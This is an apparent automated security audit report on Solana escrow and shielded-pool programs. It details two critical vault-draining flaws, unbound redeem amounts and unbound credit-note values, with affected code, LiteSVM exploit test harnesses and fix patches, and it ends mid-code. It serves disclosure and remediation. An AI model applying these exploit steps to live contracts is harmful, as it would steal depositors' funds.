JELLEO | AUTONOMOUS SOLANA AUDIT

AUDIT CYCLE · JUNE 08, 2026

RelAI solana-escrow

AUDITOR	Kirill Sakharuk · kirill@jelleo.com
TARGET	RelAI solana-escrow
AUDIT DATE	June 08, 2026
CYCLE	20260608-000000
ENGINE SHA	e259188526
GENERATED	2026-06-09T04:54:02+00:00

3	4	5	2	1
CRITICAL	HIGH	MEDIUM	LOW	INFO

CONFIRMED · DISCLOSED · FIXED · VERIFIED

SIGNED · ED25519

MCowBQYDK2VwAyEAvCFSLBecPuNClei48PWjHuelHlBX9uYZo4wELbQ7b+k=

verify with `audit-pipeline sign verify <file> <file>.sig --pubkey jelleo.ed25519.pub`
public key at
https://jelleo.com/keys/jelleo.ed25519.pub

PLATFORM · V0.1

JELLEO · The underwriting layer for Solana DeFi.

Methodology	jelleo.com/methodology.html
Disclosure	jelleo.com/security.html
Source	github.com/Copenhagen0x/audit-pipeline-cli

Apache-2.0 · contact security@jelleo.com

00 — EXECUTIVE SUMMARY

This report documents the results of an autonomous Solana audit cycle run by Jelleo against the `RelAI solana-escrow` workspace on June 08, 2026. The cycle identified 3 Critical, 4 High, 5 Medium, 2 Low and 1 Info findings after Layer 2.5 triage and root-cause clustering. Each finding includes an engine-direct proof-of-concept, a Kani-bounded model-checker proof where the formal layer ran, an on-chain BPF reproduction through LiteSVM, and an LLM-authored structural fix patch.

00.1 — SCOPE

IN-SCOPE SOURCE SET	
Target workspace	`RelAI solana-escrow`
Protocol	Solana BPF program
Engine commit	`e259188526` (e259188526aba4494c79dea0703d4d1eb19b432e)

IN-SCOPE SOURCE SET

Source files

CIRCUITS/

`ShieldedPaymentPairing.circom` `ShieldedPaymentReceipt.circom`

`ShieldedPaymentRedeem.circom` `ShieldedWithdraw.circom`

`ShieldedWithdrawWithAsp.circom`

PROGRAMS/SOLANA-PAYMENT-PAIRING-VERIFIER/

`build.rs`

PROGRAMS/SOLANA-PRIVATE-POOL-V2-CASHOUT-PROOF-VERIFIER/

`build.rs`

PROGRAMS/SOLANA-PRIVATE-POOL-V2-CLAIM-TO-PRIVATE-VERIFIER/

`build.rs`

PROGRAMS/SOLANA-PRIVATE-POOL-V2-DEPOSIT-VERIFIER/

`build.rs`

PROGRAMS/SOLANA-PRIVATE-POOL-V2-JOINSPLIT-VERIFIER/

`build.rs`

PROGRAMS/SOLANA-PRIVATE-POOL-V2-WITHDRAW-VERIFIER/

`build.rs`

PROGRAMS/SOLANA-SHIELDED-PAYMENT-REDEEM-VERIFIER/

`build.rs`

PROGRAMS/SOLANA-SHIELDED-VERIFIER/

`build.rs`

PROGRAMS/SOLANA-SHIELDED-VERIFIER-ASP/

`build.rs`

PROGRAMS/SOLANA-ASP-REGISTRY/SRC/

`lib.rs`

PROGRAMS/SOLANA-ESCROW/SRC/

`lib.rs`

PROGRAMS/SOLANA-PAYMENT-MATCH-REGISTRY/SRC/

`lib.rs`

PROGRAMS/SOLANA-PAYMENT-MATCH-ROUTER-V2/SRC/

`lib.rs`

PROGRAMS/SOLANA-PAYMENT-MATCH-ROUTER/SRC/

`lib.rs`

IN-SCOPE SOURCE SET

PROGRAMS/SOLANA-PAYMENT-PAIRING-VERIFIER/SRC/

`lib.rs`

PROGRAMS/SOLANA-PRIVATE-POOL-V2-CASHOUT-PROOF-VERIFIER/SRC/

`lib.rs`

PROGRAMS/SOLANA-PRIVATE-POOL-V2-CLAIM-TO-PRIVATE-VERIFIER/SRC/

`lib.rs`

PROGRAMS/SOLANA-PRIVATE-POOL-V2-DEPOSIT-VERIFIER/SRC/

`lib.rs`

PROGRAMS/SOLANA-PRIVATE-POOL-V2-JOINSPLIT-VERIFIER/SRC/

`lib.rs`

PROGRAMS/SOLANA-PRIVATE-POOL-V2-WITHDRAW-VERIFIER/SRC/

`lib.rs`

PROGRAMS/SOLANA-PRIVATE-POOL-V2/SRC/

`lib.rs`

PROGRAMS/SOLANA-QUOTE-REGISTRY/SRC/

`lib.rs`

PROGRAMS/SOLANA-SHIELDED-PAYMENT-REDEEM-VERIFIER/SRC/

`lib.rs`

PROGRAMS/SOLANA-SHIELDED-POOL/SRC/

`lib.rs`

PROGRAMS/SOLANA-SHIELDED-VERIFIER-ASP/SRC/

`lib.rs`

PROGRAMS/SOLANA-SHIELDED-VERIFIER/SRC/

`lib.rs`

PROGRAMS/SOLANA-SPR-ESCROW/SRC/

`lib.rs`

PROGRAMS/SOLANA-SPR-PAYOUT-ROUTER/SRC/

`lib.rs`

33 in-scope source files (19 Anchor programs + circom circuits).

Hypothesis library	183 invariant claim(s) covering authorization, arithmetic safety, accounting consistency, capability handling, event auditability, and oracle / time freshness

IN-SCOPE SOURCE SET	
Out of scope	Off-chain components (indexers, frontends, oracles); deployment scripts; framework / standard-library code; dependencies pinned in `Cargo.toml` beyond their declared interfaces.

01 — PER-FINDING ANALYSIS · CONTENTS

Each finding below begins on its own page. Numbering matches the `FINDING NN / NN` banner in the body. Click any row to jump.

FINDING 01 / 15

CRITICAL F01 missing-amount-binding

SPR seller-redeem releases an attacker-chosen amount from the shared pool with no proof-bound amount and no deposit/root check

INVARIANT The SPR seller-redeem path releases an attacker-chosen amount from the shared pool vault with no proof-bound amount and no deposit/root membership check, draining everyone's funds.

AFFECTED CODE

- `circuits/ShieldedPaymentRedeem.circom:50, :69` — `recipient` is the only public input; no `amount` signal is declared.
- `circuits/ShieldedPaymentRedeem.circom:61-66` — circuit proves only `quoteNullifier = Poseidon3(sellerSecret, nonceQuote, quoteIdHash)`; the released value is not constrained.
- `solana-shielded-payment-redeem-verifier/src/lib.rs:51` — `GROTH16_PUBLIC_INPUTS = 2`; amount can never be a public input.
- `solana-shielded-payment-redeem-verifier/src/lib.rs:58-63` — `VerifyRedeemProofData` carries only `quote_nullifier`, `recipient`, `proof`; no amount field.
- `solana-shielded-payment-redeem-verifier/src/lib.rs:123-125` — `build_public_inputs` returns `[quote_nullifier, recipient]`.
- `solana-shielded-payment-redeem-verifier/src/lib.rs:179-187` — comment confirming amount-binding is deferred to a future phase.
- `solana-spr-payout-router/src/lib.rs:233` — only `require!(claimed_amount > 0)` constrains the claimed amount.
- `solana-spr-payout-router/src/lib.rs:238-242, :249-254` — redeem-verifier CPI payload is `{quote_nullifier, recipient, proof}`; `claimed_amount` is not in it, so the proof check never sees it.
- `solana-spr-payout-router/src/lib.rs:323-326` — `claimed_amount.to_le_bytes()` forwarded verbatim into the pool `payout_by_router` CPI; no registry/deposit cross-check anywhere in the handler.
- `solana-shielded-pool/src/lib.rs:446` — `require!(amount > 0)` is the only guard on the released value.
- `solana-shielded-pool/src/lib.rs:497` — nullifier marker `root` is hard-zeroed `[0u8; 32]`; no historical root is referenced.
- `solana-shielded-pool/src/lib.rs:513-522` — `token::transfer` releases the full attacker-chosen `amount` from the shared `pool_vault`, signed by the pool PDA; no `is_known_root` / membership check precedes it.

DESCRIPTION

The shielded-pool redeem (SPR) path is supposed to release, from the shared pool vault, exactly the USDC a buyer deposited for a specific matched quote — and only against a deposit that provably exists in the pool. The amount released must be cryptographically bound to the seller's redeem proof (or to a stored deposit record), and the release must reference a real, known pool/deposit state. Neither binding exists.

The redeem proof binds only two public signals. The circuit `ShieldedPaymentRedeem.circom:61-66` proves a single relation — `quoteNullifier == Poseidon(3)(sellerSecret, nonceQuote, quoteIdHash)` — and declares exactly one additional public input, `recipient` (`ShieldedPaymentRedeem.circom:50, :69`). There is no `amount` signal anywhere in the circuit. The on-chain verifier matches this: `GROTH16_PUBLIC_INPUTS = 2` (`solana-shielded-payment-redeem-verifier/src/lib.rs:51`), the instruction payload is `{ quote_nullifier, recipient, proof }` with no amount field (`:58-63`), and `build_public_inputs` returns exactly `[quote_nullifier, recipient]` (`:123-125`). The verifier's own dead-code helper carries a comment that an amount-bound extension is deferred to "Faza 6" (`:179-187`).

The router forwards an unbound amount. `payout_to_seller(quote_nullifier, recipient, claimed_amount, proof)` (`solana-spr-payout-router/src/lib.rs:223-229`) only checks `claimed_amount > 0` (`:233`). It builds the redeem-verifier CPI payload from `quote_nullifier + recipient + proof` — `claimed_amount` is deliberately absent (`:238-242`) — so the proof check at `:254` never sees the amount. It then forwards `claimed_amount.to_le_bytes()` verbatim into the pool CPI (`:323-326`). The router performs no lookup of any `PaymentMatchRegistry` / deposit record to cross-check the amount. The header comment at `:11-17` states this plainly: " `claimed_amount` is calldata, NOT bound into the redeem proof," with amount-binding deferred to mainnet.

The pool releases it with no amount, deposit, or root check. `payout_by_router(nullifier, amount)` (`solana-shielded-pool/src/lib.rs:441-445`) guards the released value with only `require!(amount > 0)` (`:446`). Its remaining checks are pause state, `spr_config.pool == pool`, `payout_router_authority == spr_config.spr_payout_router_authority`, the token-program id, and vault/payee ATA owner+mint (`:447-467`) — none of which bound the amount or verify a deposit. It writes the nullifier marker with `root: [0u8; 32]` (`:497` , with the comment that the router "did that check before getting here" — which it did not), then `token::transfer(cpi, amount)` moves the full attacker-chosen `amount` out of the shared `pool_vault` (`:513-522`). There is no `is_known_root` call and no commitment-membership check on this path. The legacy `spr-escrow` enforced `claimed_amount == deposit.amount`; the shared-pool rewrite dropped that equality.

These are two independent broken invariants: (a) the amount is bound to nothing, and (b) the release references no real deposit / known root. Fixing one leaves the other exploitable.

IMPACT

Any unprivileged party who can produce or relay one valid seller redeem proof for a single quote they legitimately own — even a 1-USDC quote — drains the entire shared `pool_vault` in one `payout_to_seller` call, capped only by the vault balance. The vault is the shared anonymity set holding every SPR buyer's and shielded-link user's USDC, so one small legitimate quote extracts everyone else's funds (proven: 1-USDC entitlement → ~950M atomic taken; 1000 → 0). The root/membership facet is

strictly worse: an attacker with no matching buyer deposit at all still drains, because `payout_by_router` checks no deposit, no registry record, and no known root. No admin role, no misconfiguration, and no key compromise is required — the wiring used in the PoCs is the documented production deploy state.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

✓ Counterexample found (bug confirmed by symbolic execution)

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

This is snark-gated, so it is proven with a faithful no-op stub verifier installed at the router's pinned `redeem_verifier` address. The stub (`l5/noop_verifier_src/src/lib.rs`) returns `Ok(())` for any input. It is faithful because the real verifier's public inputs are exactly `[quote_nullifier, recipient]` (`GROTH16_PUBLIC_INPUTS = 2` , `solana-shielded-payment-redeem-verifier/src/lib.rs:51, :123-125`) with no amount and no root/membership signal — both bound signals are attacker-chosen (a self-picked `sellerSecret/nonceQuote/quoteIdHash` yields a valid proof over any `quote_nullifier` , and `recipient` is the attacker's own reduced pubkey), so a genuine Groth16 proof would pass the verifier CPI identically. The over-release is independent of whether the proof is real, so no Groth16 generation is required to reach the fund-release path. This is stated explicitly in the harness header (`l5/L2-05_spr_amount_unbound/src/lib.rs:18-32` and `l5/L2-09_payout_noroot/src/lib.rs:26-38`).

Both facets run against the REAL built `solana_shielded_pool.so` and `solana_spr_payout_router.so` in LiteSVM, with production-wired state installed via `set_account` (`spr_payout_router_authority = router_pda` , the documented deploy wiring — not a misconfiguration).

Amount-unbound facet — `l5/L2-05_spr_amount_unbound` (`unbound_amount_drains_whole_vault_in_one_redeem`). A funded relayer (no privilege) calls `payout_to_seller` for a legitimately-matched quote whose real price was 1 USDC, but sets `claimed_amount = 100_000_000` (the entire 100-USDC vault). The redeem CPI returns Ok; `payee_reduced == recipient` passes (the recipient is the real seller); `payout_by_router` releases the full amount. Green result quoted from the harness:

> `L2-05 EXPLOITED: one valid redeem proof (binds only nullifier+recipient, NO amount) drained the whole 100000000-unit vault — attacker set claimed_amount=100000000 (~100x the real 1000000 price); net 95000000 → seller, fee 5000000 → collector, vault → 0.`

Root/membership-unbound facet — `l5/L2-09_payout_noroot` . An honest depositor's 1000 USDC sits in the shared vault; the attacker deposited nothing matching it, and no `spend_nullifier_by_pairing_router` , `record_match` , or `deposit_note` for the quote was ever submitted. The attacker calls `payout_to_seller` with an attacker-chosen `(quote_nullifier, recipient)` and `claimed_amount = 1_000_000_000` . `payout_by_router` runs its six checks (all pass — the router PDA is the configured authority), writes the marker with `root = [0u8; 32]` , and transfers the full 1000 USDC out. Net 950000000 reaches the attacker's ATA, fee 50000000 to the collector, vault drained 1000 → 0 — proving a seller with NO matching buyer deposit drains the shared pool.

The remaining consolidated PoCs (`l5/L2-07_router_overrelease` , `l5/L2-08_payout_overrelease` , `l5/L2-10_claimed_amount_overclaim` , `l5/L2-11_payout_overrelease` , `l5/L2-12_payout_router_unbound` , `l5/L2-17_amount_unbound`) are the same root cause shown against the same entry point with different entitlement/vault values (e.g. L2-07: vault 1001000000 → 0, attacker +950950000 on a 1-USDC entitlement). The per-nullifier `redeemed_marker` / `[b"shielded-nullifier", pool, N]` PDAs cap each quote to one redeem but place no bound on the size of that redeem.

RECOMMENDED FIX

Two independent fixes are required; fixing only one leaves the other path open.

Fix (a) — bind the amount. Make the released value provable, by either:

- adding `amount` as a public signal to `ShieldedPaymentRedeem.circom` (a new public input constrained against the quote's committed price), regenerating the verifying key, bumping `GROTH16_PUBLIC_INPUTS` to 3, extending `VerifyRedeemProofData` and `build_public_inputs` to include it, and having the router fold `claimed_amount` into the verifier CPI payload so the proof check at `solana-spr-payout-router/src/lib.rs:254` covers it; or
- in `payout_to_seller` , looking up the `PaymentMatchRegistry` record for `quote_nullifier` and enforcing `claimed_amount == registry_record.amount` (restoring the equality the legacy `spr-escrow` enforced) before the pool CPI at `:323-326` .

Fix (b) — bind the release to a real deposit / known root. In `solana-shielded-pool::payout_by_router` , do not accept a zero-filled root and an unverified amount. Require a deposit/commitment-membership proof against a known pool root (mirror `redeem_note` 's `is_known_root` gate), or have the pool verify against a stored, matched, not-yet-redeemed deposit record for the nullifier, and store the real root in the marker rather than `[0u8; 32]` at `:497` . Without (b), even an amount-bound proof would still let a seller release funds for a deposit that never existed.

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```rust
//! L2-05 [Critical] - ShieldedPaymentRedeem verifier binds NO amount: the SPR
//! payout amount is entirely unconstrained by ZK, so one valid seller redeem
//! proof drains the whole shared shielded-pool vault in a single call.
//!
//! WHAT THIS PROVES (against the REAL built solana_shielded_pool.so +
//! solana_spr_payout_router.so, in LiteSVM):
//!   `payout_to_seller(quote_nullifier, recipient, claimed_amount, proof)`
//!   (router lib.rs:223-326) takes `claimed_amount` as RAW CALLDATA, never folds
//!   it into the redeem-verifier CPI payload (router :238-254 builds
//!   {quote_nullifier, recipient, proof} - NO amount), and forwards it UNCHANGED
//!   to `solana_shielded_pool.payout_by_router(nullifier, claimed_amount)`
//!   (router :323-326), which transfers `claimed_amount` straight out of the pool
//!   vault (pool lib.rs:446-522) with NO check against any committed deposit.
//!   The attacker (a relayer / the matched seller) sets claimed_amount = the WHOLE
//!   vault and drains the entire anonymity set with ONE legitimately-matched quote
//!   whose real price was a fraction of that.
//!
//! WHY THE STUB IS FAITHFUL (SNARK-GATED, no real proof generated):
//!   The redeem verifier provably OMITS amount from its public inputs. Ground truth
//!   (programs/solana-shielded-payment-redeem-verifier/src/lib.rs @ e259188):
//!     :51   const GROTH16_PUBLIC_INPUTS: usize = 2;
//!     :58-63 struct VerifyRedeemProofData { quote_nullifier:[u8;32],
//!            recipient:[u8;32], proof:Vec<u8> }   // no amount field
//!     :123-125 build_public_inputs = [quote_nullifier, recipient]  // 2 signals
//!   and ShieldedPaymentRedeem.circom:37-69 proves only
//!   Poseidon3(sellerSecret,nonceQuote,quoteIdHash)=quoteNullifier - there is no

#[test]
fn unbound_amount_drains_whole_vault_in_one_redeem() {
    let mut svm = LiteSVM::new();
    // Load the two REAL program binaries under their real ids.
    load_so(&mut svm, pool_id(), "solana_shielded_pool");
    load_so(&mut svm, router_id(), "solana_spr_payout_router");

    // The redeem verifier: a real SBF program that returns Ok(()) for any input -
    // a FAITHFUL stand-in because the genuine verifier's public inputs are only
    // [quote_nullifier, recipient] (NO amount), so a real proof would likewise

    // ... account/SPL pre-state setup elided for brevity ...


    // -- PROOF OF OVER-RELEASE ------------------------------------------------
    // fee = ceil(claimed_amount * 500 / 10000); net = claimed_amount - fee (router L378-386).
    let fee = ((claimed_amount as u128) * 500 + 9_999) / 10_000;
    let fee = fee as u64;
    let net = claimed_amount - fee;

    let vault_after = tok_amount(&svm, &pool_vault);
    let seller_after = tok_amount(&svm, &seller_ata);
    let fee_after = tok_amount(&svm, &fee_collector_ata);

    assert_eq!(
        vault_before - vault_after,
        claimed_amount,
        "pool released the FULL attacker-chosen amount (unbound by any deposit)"
    );
    assert_eq!(vault_after, 0, "the ENTIRE vault was drained by a single redeem");
    assert_eq!(seller_after - seller_before, net, "net (amount - 5% fee) landed on the recipient");
```

```
    assert_eq!(fee_after - fee_before, fee, "fee split to the hardcoded FEE_COLLECTOR");
    assert_eq!(net, 95_000_000, "net == 95 USDC");
    assert_eq!(fee, 5_000_000, "fee == 5 USDC");
    assert!(
        seller_after ≥ legit_price_x.saturating_mul(90),
        "recipient extracted ~100x the legitimate quote price X={legit_price_x}"
    );

    println!(
        "L2-05 EXPLOITED: one valid redeem proof (binds only nullifier+recipient, NO amount) \
         drained the whole {vault_balance}-unit vault - attacker set claimed_amount={claimed_amount} \
         (~100x the real {legit_price_x} price); net {net} → seller, fee {fee} → collector, vault → 0."
    );
}

// full runnable harness: l5/L2-05_spr_amount_unbound/src/lib.rs
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
--- a/solana-shielded-pool/src/lib.rs
+++ b/solana-shielded-pool/src/lib.rs
@@ -13,4 +13,6 @@
 const MERKLE_TREE_DEPTH: usize = 20;
 const ROOT_HISTORY_SIZE: usize = 32;
+// FIX F08: size of the on-chain ASP (approved-set) root allowlist ring.
+const ASP_ROOT_HISTORY_SIZE: usize = 32;
 const MAX_LEAVES: u64 = 1u64 << MERKLE_TREE_DEPTH;
 const EMPTY_VALUE: [u8; 32] = [0u8; 32];
@@ -28,4 +30,8 @@
         pool.pool_bump = ctx.bumps.pool;
         pool.paused = false;
+        // FIX F08: bootstrap the ASP compliance authority to the pool
+        // authority; rotate later via `configure_pool` if a dedicated
+        // compliance key is used.
+        pool.asp_authority = ctx.accounts.authority.key();
         initialize_merkle_state(pool)?;

@@ -84,4 +90,42 @@
             let legacy_admin = Pubkey::new_from_array(admin_bytes);
             require_keys_eq!(legacy_admin, ctx.accounts.admin.key(),
ShieldedPoolError::UnauthorizedAuthority);
+
+            // FIX F06: refuse to wipe a LIVE, current-schema pool. This
+            // instruction must ONLY reap a genuinely stale/ill-formed legacy
+            // buffer - never a live pool that still holds depositor notes.
+            // (1) Discriminator/length check: a current-schema account has
+            //     data.len() == ShieldedPoolAccount::LEN. The legacy buffer the
+            //     doc-comment describes is SMALLER (it pre-dates the modern
+            //     layout), so a >= LEN buffer is definitively NOT legacy.
+            require!(
+                data.len() < ShieldedPoolAccount::LEN,
+                ShieldedPoolError::PoolNotLegacy,
+            );
+            // (2) Pause gate: even an ostensibly-legacy buffer may only be
+            //     wiped after an explicit, separate pause step. `paused` lives
+            //     at the same raw offset in the legacy layout as in the current
+            //     one (disc(8)+authority(32)+relayer(32)+verifier(32)+
+            //     usdc_mint(32)+pool_bump(1)+tree_depth(1)+current_root_index(1)
+            //     +root_history_count(1)+latest_root(32)+commitment_count(8)+
+            //     next_leaf_index(8) => paused byte at offset 188). Require the
+            //     buffer to carry it and require the flag to be set.
+            const PAUSED_OFFSET: usize = 8 + 32 + 32 + 32 + 32 + 1 + 1 + 1 + 1 + 32 + 8 + 8;
+            require!(data.len() > PAUSED_OFFSET, ShieldedPoolError::PoolNotLegacy);
+            require!(data[PAUSED_OFFSET] == 1, ShieldedPoolError::PoolNotPaused);
```

```
+        }
+
... (diff truncated -- full patch in fix-program/programs/solana-shielded-pool/src/lib.rs)
```

FINDING 02 / 15

CRITICAL F02 value-conservation

claim_credit_v3 mints a credit-pool note whose value is never bound to the burned source value

INVARIANT claim_credit_v3 mints a credit-pool note whose value is never bound to the proven/burned source value; cash_out_v3 then drains the shared vault.

AFFECTED CODE

- `programs/solana-private-pool-v2/src/lib.rs:1276-1287` — `claim_credit_v3` signature; `credit_commitment: [u8;32]` (line 1284) is a raw caller-supplied arg.
- `programs/solana-private-pool-v2/src/lib.rs:1318-1322` — dev comment admitting the value link is omitted in V3 ("we don't try to ZK-link them").
- `programs/solana-private-pool-v2/src/lib.rs:1332-1342` — `verify_withdraw_proof` binds `public_value` to the **source** note only.
- `programs/solana-private-pool-v2/src/lib.rs:1363-1367` — `insert_credit_commitment` appends the unconstrained `credit_commitment` to the credit tree.
- `programs/solana-private-pool-v2/src/lib.rs:3243-3272` — `insert_credit_commitment` body: no value check on the leaf, just tree-full guard + Poseidon path update + root push.
- `programs/solana-private-pool-v2/src/lib.rs:1437-1607` — `cash_out_v3` pays `public_value - fee` from the shared `pool_vault`, value bound only to the credit note.
- `programs/solana-private-pool-v2/src/lib.rs:1578-1594` — PDA-signed `token::transfer` of `public_value - fee` out of `pool_vault`, signed by seeds `[b"private-pool-v2", usdc_mint, pool_bump]`.
- `circuits/private-pool-v2/CashoutProof.circom:114` — `publicValue + fee === value`, where `value` is the (attacker-chosen) credit-note value.
- `circuits/private-pool-v2/Withdraw.circom:130` — `publicValue + fee === value` for the **source** note only.

The drained `pool_vault` is the single per-mint vault for the whole program: the same PDA `[b"private-pool-v2", usdc_mint]` is the deposit/withdraw/joinsplit/cash_out authority (e.g. `lib.rs:1021`, `1179`, `1583`, `2658` +), so the funds released are honest depositors' liquidity, not the attacker's own.

DESCRIPTION

The credit-pool "park" flow is supposed to be value-conserving across two Merkle trees: the value committed inside a newly-minted credit-pool note must equal the `public_value` proven-and-burned from the source pool during `claim_credit_v3`, so that total cashable value never exceeds total deposited value (Σ credit-out == Σ source-in).

`claim_credit_v3` (`programs/solana-private-pool-v2/src/lib.rs:1276-1419`) verifies a **Withdraw** proof that binds `public_value` to the **source** note only, then appends a fully independent, caller-supplied `credit_commitment` to the credit-pool tree with no check linking the two:

- The handler signature takes `credit_commitment: [u8; 32]` as a raw instruction argument (`lib.rs:1284`).
- It runs `verify_withdraw_proof(..., nullifier, root, asp_root, fee, public_address, public_value, proof)` (`lib.rs:1332-1342`) — every binding here is about the **source** note being burned; `credit_commitment` is never passed to any verifier.
- It then calls `insert_credit_commitment(&mut credit_state, credit_commitment)` (`lib.rs:1363-1367`), which appends the leaf and pushes a new credit root with no value check whatsoever (`insert_credit_commitment` , `lib.rs:3243-3272` — it only enforces tree-not-full and hashes the leaf up the tree).
- The developer comment at `lib.rs:1318-1322` states the omission explicitly: *"the credit pool commitment is checked separately by the caller (we don't try to ZK-link them in V3, just rely on the encrypted-blob recipient binding)."*

The credit note's value lives only inside the attacker-chosen Poseidon preimage of `credit_commitment` (value, ownerPk, blinding, memo), all of which the caller controls. `cash_out_v3` (`lib.rs:1437-1607`) later pays out that note's own value: the cashout proof enforces `publicValue + fee ≡ value` against the **credit** note (`circuits/private-pool-v2/CashoutProof.circom:114`), and the handler transfers `public_value - fee` micro-USDC out of the shared `pool_vault` (`lib.rs:1578-1594`). The matching source-side constraint (`circuits/private-pool-v2/Withdraw.circom:130` , `publicValue + fee ≡ value`) only governs the source note. Each proof is internally sound for its own tree; nothing on-chain or in either circuit re-binds the credit note's value to the burned source value. So an attacker burns a 1-unit source note and mints a credit note committing to an arbitrarily large value.

IMPACT

Any unprivileged, funded wallet that can make one legitimate source-pool deposit can drain the entire shared `pool_vault` for that mint, stealing every other depositor's USDC. Preconditions: the attacker holds (or makes) a single real source-pool note worth ≥ 1 + fee, and the vault holds victim liquidity. The attack is repeatable until the vault is empty; the per-park/per-cashout cost to the attacker is one genuine source burn of 1 µUSDC. No admin, relayer, or operator privilege is required — the proof witnesses are all attacker-chosen, and both `claim_credit_v3` and `cash_out_v3` are callable by an arbitrary signer. Proven: 1 µUSDC in → 5,000,001 µUSDC out (L2-02) and 1 → 1,000,000,000 (L2-04).

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

✓ Counterexample found (bug confirmed by symbolic execution)

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

Two LiteSVM PoC crates run the two **real** instructions back-to-back against the built `solana_private_pool_v2.so`, as an unrelated attacker wallet with no privilege.

`l5/L2-02_credit_value_unbound`:

- **Park (1 µUSDC):** call the real `claim_credit_v3` with `public_value = 1` (the source value the Withdraw proof "binds"), but `credit_commitment` set to a leaf that semantically encodes the whole vault. The tx **succeeds** and appends the fat leaf to the credit tree (`next_leaf_index` advances 0 → 1), burning only the 1-unit source nullifier — the crux: a credit note worth the whole vault was minted from a 1-unit burn with no value binding.
- **Drain:** call the real `cash_out_v3` against the fresh credit root with attacker-chosen `public_value = 5_000_001`. The handler PDA-signs the SPL transfer out of the shared vault.
- EXPLOITED (green): *"parked 1 micro-USDC, minted an UNBOUND credit note via claim_credit_v3 (no value binding), and cash_out_v3 drained 5000001 micro-USDC (incl. 5000000 victim funds) from the shared pool vault to the attacker."* Vault `5_000_001 → 0`; attacker ATA `0 → 5_000_001` for a 1-unit deposit (the surplus 5,000,000 is pure victim funds).

`l5/L2-04_credit_unbound` runs the same primitive at scale:

- EXPLOITED (green): *"claim_credit_v3 appended an UNBOUND 1000000000-value credit note while burning only 1 on the source side; cash_out_v3 PDA-signed the drain — attacker took 1000000000 micro-USDC"* out of the shared `pool_vault` for a 1-unit source burn (Σ credit value 1e9 ≠ Σ burned source value 1). L4 Kani check K1 corroborated the value-conservation break.

On the no-op stub verifier (stated plainly, not hidden): these are snark-gated paths, so both verifier CPIs are modelled with the real no-op SBF program `l5/noop_verifier_src/` (`noop_verifier.so`, source returns `Ok(())` for any input). This is faithful because the bug is a **missing public-input binding in the pool program**, not a broken proof check. The real cashout verifier's public inputs are fixed at `GROTH16_PUBLIC_INPUTS = 5` (`programs/solana-private-pool-v2-cashout-proof-verifier/src/lib.rs:47`) and `build_public_inputs` emits `[credit_nullifier, credit_pool_root, fee, public_address, public_value]` (`lib.rs:105-116`) — the burned source value is provably **absent** from the cashout verifier's public inputs, and the source value is bound only by the separate Withdraw verifier over the separate source tree. A genuine, valid Groth16 proof generated for the fabricated 1e9 credit leaf (the attacker owns every witness: value, ownerPk, blinding, nullifierSk) verifies the same call identically. The stub isolates exactly that gap — the over-release comes purely from the absent cross-binding in the pool `.so` under test, not from any bypassed proof.

RECOMMENDED FIX

Bind the minted credit-note value to the burned source value so the park is value-conserving:

- **Cryptographic fix (preferred):** make `claim_credit_v3` a single proof that proves, in one circuit, both (a) the source note's membership/nullifier and its `public_value`, and (b) that the appended `credit_commitment = Poseidon(value, ownerPk, blinding, memo)` commits to a `value` **equal to** that same `public_value - fee`. Expose `credit_commitment` (or its `value` field) as

a public input of that combined proof so the relationship `credit_note.value == burned_source_value` is enforced on-chain, not deferred to the caller. Equivalently, add the source `public_value` as a public input to a credit-mint circuit and constrain it against the credit-leaf preimage.

- **On-chain enforcement (if the trees stay separate):** in `claim_credit_v3`, require the inserted credit note's value to be derivable and checked on-chain against the burned `public_value`. Carry the credit value as an explicit, range-checked argument and verify `credit_value == public_value - fee` before `insert_credit_commitment` (`lib.rs:1363-1367`), and bind that value into the commitment the verifier later checks at cash-out — so a credit leaf can never represent more than was burned. Reject any `claim_credit_v3` whose committed credit value exceeds the source burn.

Until the credit-note value is provably equal to the burned source value (either inside one proof or by an on-chain equality check), `cash_out_v3` will continue to release attacker-chosen amounts from the shared vault.

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```rust
//! L2-02 [Critical] - solana-private-pool-v2 `claim_credit_v3` mints an UNBOUNDED
//! credit-pool note: the value committed inside the caller-supplied
//! `credit_commitment` is never tied to the proven/burned source-pool value, so a
//! 1-micro-USDC park lets the attacker cash out an arbitrarily fat note from the
//! SHARED pool vault (H-02 amount/commitment-binding break → full vault drain).
//!
//! WHAT THIS PROVES (against the REAL built solana_private_pool_v2.so, in LiteSVM):
//!   STEP A (the CRUX): the REAL `claim_credit_v3` SUCCEEDS while it inserts an
//!     attacker-chosen `credit_commitment` (semantically value = the whole vault)
//!     into the credit tree, even though the Withdraw proof it verifies bound a
//!     SOURCE note of `public_value = 1`. There is NO on-chain check tying the
//!     credit note's value to the burned source value (handler comment,
//!     lib.rs:1318-1322: "we don't try to ZK-link them in V3"). The tx succeeding
//!     with value(credit)  public_value IS the vulnerability.
//!   STEP B (the drain): the REAL `cash_out_v3` then transfers an ATTACKER-CHOSEN
//!     `public_value` (minus fee) out of the shared `pool_vault` to the attacker
//!     ATA - the entire victim-seeded balance - for a 1-unit contribution.
//!
//! WHY THE NO-OP VERIFIER STUB IS FAITHFUL (NOT a verifier bypass):
//!   The bug is a MISSING public-input binding, not a broken proof check. The real
//!   cashout verifier's public inputs are fixed by
//!   `build_public_inputs` (solana-private-pool-v2-cashout-proof-verifier/src/lib.rs
//!   :105-116, `GROTH16_PUBLIC_INPUTS = 5`, lib.rs:47):
//!       [credit_nullifier, credit_pool_root, fee, public_address, public_value]
//!   - it provably OMITS the source-pool note value / the burned amount. Likewise
//!   the withdraw verifier binds only the SOURCE note (`VerifyWithdrawProofData`,

#[test]
fn unbound_credit_value_drains_the_shared_vault() {
    let pid = pool_program_id();
    let mut svm = LiteSVM::new();
    // The REAL pool program under test.
    load_so(&mut svm, pid, "solana_private_pool_v2");
    // The attacker-"deployed" no-op verifier: a real SBF program that returns
    // Ok(()) for any input. Models BOTH the withdraw-side and cashout-side Groth16
    // CPIs (the binding break is the OMITTED public input, not proof validity --
    // see header). Embedded so the harness is self-contained.

    // ... account/SPL pre-state setup elided for brevity ...

        drain_amount,
        "EXPLOIT: shared pool_vault drained by {drain_amount} (victim funds left)"
    );
